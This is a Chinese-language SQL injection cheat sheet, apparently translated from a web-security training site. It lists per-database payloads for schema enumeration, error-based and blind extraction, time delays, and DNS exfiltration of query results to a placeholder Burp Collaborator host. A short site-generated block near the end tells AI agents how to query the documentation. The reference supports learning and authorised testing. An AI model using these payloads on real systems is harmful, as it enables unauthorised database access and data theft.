# SQL注入速查表

这个SQL注入速查表包含了一些有用的语法例子，你可以用来执行SQL注入攻击时经常出现的各种任务。

## 字符串拼接

可以将多个字符串拼接在一起以组成一个字符串。

| **数据库类型**      | **语句**                                                              |
| -------------- | ------------------------------------------------------------------- |
| **Oracle**     | \`'foo'                                                             |
| **Microsoft**  | `'foo'+'bar'`                                                       |
| **PostgreSQL** | \`'foo'                                                             |
| **MySQL**      | <p><code>'foo' 'bar'</code><br><code>CONCAT('foo','bar')</code></p> |

## 子字符串

可以从指定的偏移量中提取字符串的部分长度。请注意偏移量的索引是基于1的。以下每个表达式都会返回字符串 `ba`。

| **数据库类型**      | **语句**                      |
| -------------- | --------------------------- |
| **Oracle**     | `SUBSTR('foobar', 4, 2)`    |
| **Microsoft**  | `SUBSTRING('foobar', 4, 2)` |
| **PostgreSQL** | `SUBSTRING('foobar', 4, 2)` |
| **MySQL**      | `SUBSTRING('foobar', 4, 2)` |

## 注释

可以使用注释来截断一个查询，并删除输入之后的原始查询部分。

| **数据库类型**      | **语句**                                                                              |
| -------------- | ----------------------------------------------------------------------------------- |
| **Oracle**     | `--comment`                                                                         |
| **Microsoft**  | <p><code>--comment</code><br><code>/*comment*/</code></p>                           |
| **PostgreSQL** | <p><code>--comment</code><br><code>/*comment*/</code></p>                           |
| **MySQL**      | <p><code>#comment</code><br><code>-- comment</code><br><code>/*comment*/</code></p> |

## 数据库版本

可以查询数据库以确定其类型和版本。这些信息在制定更复杂的攻击时很有用。

| **数据库类型**      | **语句**                                                                                          |
| -------------- | ----------------------------------------------------------------------------------------------- |
| **Oracle**     | <p><code>SELECT banner FROM v$version</code><br><code>SELECT version FROM v$instance</code></p> |
| **Microsoft**  | `SELECT @@version`                                                                              |
| **PostgreSQL** | `SELECT version()`                                                                              |
| **MySQL**      | `SELECT @@version`                                                                              |

## 数据库内容

可以列出数据库中存在的表，以及这些表包含的列。

| **数据库类型**      | **语句**                                                                                                                                                         |
| -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Oracle**     | <p><code>SELECT \* FROM all\_tables</code><br><code>SELECT \* FROM all\_tab\_columns WHERE table\_name = 'TABLE-NAME-HERE'</code></p>                          |
| **Microsoft**  | <p><code>SELECT \* FROM information\_schema.tables</code><br><code>SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE'</code></p> |
| **PostgreSQL** | <p><code>SELECT \* FROM information\_schema.tables</code><br><code>SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE'</code></p> |
| **MySQL**      | <p><code>SELECT \* FROM information\_schema.tables</code><br><code>SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE'</code></p> |

## 条件错误

可以测试单个布尔条件，如果条件为真则触发数据库错误。

| **数据库类型**      | **语句**                                                                                  |
| -------------- | --------------------------------------------------------------------------------------- |
| **Oracle**     | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`      |
| **Microsoft**  | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`                         |
| **PostgreSQL** | `1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)`          |
| **MySQL**      | `SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')` |

## 通过可见的错误信息提取数据

你可能会引发错误信息，从而泄露你的恶意查询返回的敏感数据。

| **数据库类型**      | **语句**                                                                                                                                                            |
| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Microsoft**  | <p><code>SELECT 'foo' WHERE 1 = (SELECT 'secret')</code><br><br><code>> Conversion failed when converting the varchar value 'secret' to data type int.</code></p> |
| **PostgreSQL** | <p><code>SELECT CAST((SELECT password FROM users LIMIT 1) AS int)</code><br><br><code>> invalid input syntax for integer: "secret"</code></p>                     |
| **MySQL**      | <p><code>SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))</code><br><br><code>> XPATH syntax error: '\secret'</code></p>               |

## 批处理（或堆叠）查询

可以使用批处理查询来连续执行多个查询。请注意，虽然后续查询被执行，但结果不会返回给应用程序。因此，这种技术主要用于与盲漏洞有关的情况，在这种情况下，你可以使用第二个查询来触发一个DNS查询、条件错误或时间延迟。

| **数据库类型**      | **语句**                       |
| -------------- | ---------------------------- |
| **Oracle**     | 不支持批处理查询                     |
| **Microsoft**  | `QUERY-1-HERE; QUERY-2-HERE` |
| **PostgreSQL** | `QUERY-1-HERE; QUERY-2-HERE` |
| **MySQL**      | `QUERY-1-HERE; QUERY-2-HERE` |

> **注意**
>
> 对于MySQL，批处理查询通常不能用于SQL注入。然而，如果目标应用程序使用某些PHP或Python API与MySQL数据库通信，这有时是可能的。

## 时间延迟

可以在数据库处理查询时造成时间延迟。以下操作将造成10秒的无条件时间延迟。

| **数据库类型**      | **语句**                                |
| -------------- | ------------------------------------- |
| **Oracle**     | `dbms_pipe.receive_message(('a'),10)` |
| **Microsoft**  | `WAITFOR DELAY '0:0:10'`              |
| **PostgreSQL** | `SELECT pg_sleep(10)`                 |
| **MySQL**      | `SELECT sleep(10)`                    |

## 有条件的时间延迟

可以测试一个布尔条件，如果条件为真就会触发一个时间延迟。

| **数据库类型**      | **语句**                                                                          |
| -------------- | ------------------------------------------------------------------------------- |
| **Oracle**     | \`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'                               |
| **Microsoft**  | `IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'`                               |
| **PostgreSQL** | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END` |
| **MySQL**      | `SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')`                                  |

## DNS查询

可以使数据库对外部域执行一个DNS查询。要做到这一点，需要使用Burp Collaborator生成一个独特的Burp Collaborator子域，你将在你的攻击中使用到，然后轮询Collaborator服务器以确认是否发生了DNS查询。

| **数据库类型**      | **语句**                                                                                                                                                                                                                                                                                                                                                                                           |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Oracle**     | <p>以下技术利用XML外部实体（XXE）漏洞来触发DNS查询。该漏洞已经打了补丁，但仍有许多未打补丁的Oracle存在：<br><code>SELECT EXTRACTVALUE(xmltype('\<?xml version="1.0" encoding="UTF-8"?>\<!DOCTYPE root \[ \<!ENTITY % remote SYSTEM "http\://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual</code><br><br>以下技术在打过补丁的Oracle中有效，但需要提升权限：<br><code>SELECT UTL\_INADDR.get\_host\_address('BURP-COLLABORATOR-SUBDOMAIN')</code></p> |
| **Microsoft**  | `exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'`                                                                                                                                                                                                                                                                                                                                      |
| **PostgreSQL** | `copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'`                                                                                                                                                                                                                                                                                                                             |
| **MySQL**      | <p>以下技术仅在Windows系统中有效：<br><code>LOAD\_FILE('\\\BURP-COLLABORATOR-SUBDOMAIN\a')</code><br><code>SELECT ... INTO OUTFILE '\\\BURP-COLLABORATOR-SUBDOMAIN\a'</code></p>                                                                                                                                                                                                                             |

## 带数据渗出的DNS查询

你可以使数据库对一个包含注入查询结果的外部域进行DNS查询。要做到这一点，需要使用Burp Collaborator生成一个独特的Burp Collaborator子域，你将在你的攻击中使用到，然后轮询Collaborator服务器以检索任何DNS交互的细节，包括被渗出的数据。

| **数据库类型**      | **语句**                                                                                                                                                                                                                                                                    |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Oracle**     | \`SELECT EXTRACTVALUE(xmltype('\<!DOCTYPE root \[ \<!ENTITY % remote SYSTEM "http\://'                                                                                                                                                                                    |
| **Microsoft**  | `declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')`                                                                                                                                            |
| **PostgreSQL** | <p><code>create OR replace function f() returns void as $$</code><br><code>declare c text;</code><br><code>declare p text;</code><br><code>begin</code><br><code>SELECT into p (SELECT YOUR-QUERY-HERE);</code><br>\`c := 'copy (SELECT '''') to program ''nslookup '</p> |
| **MySQL**      | <p>以下技术仅在Windows系统中有效：<br><code>SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\BURP-COLLABORATOR-SUBDOMAIN\a'</code></p>                                                                                                                                                         |


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web-sec.gitbook.io/wsa/server-side/sql-injection/cheat-sheet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
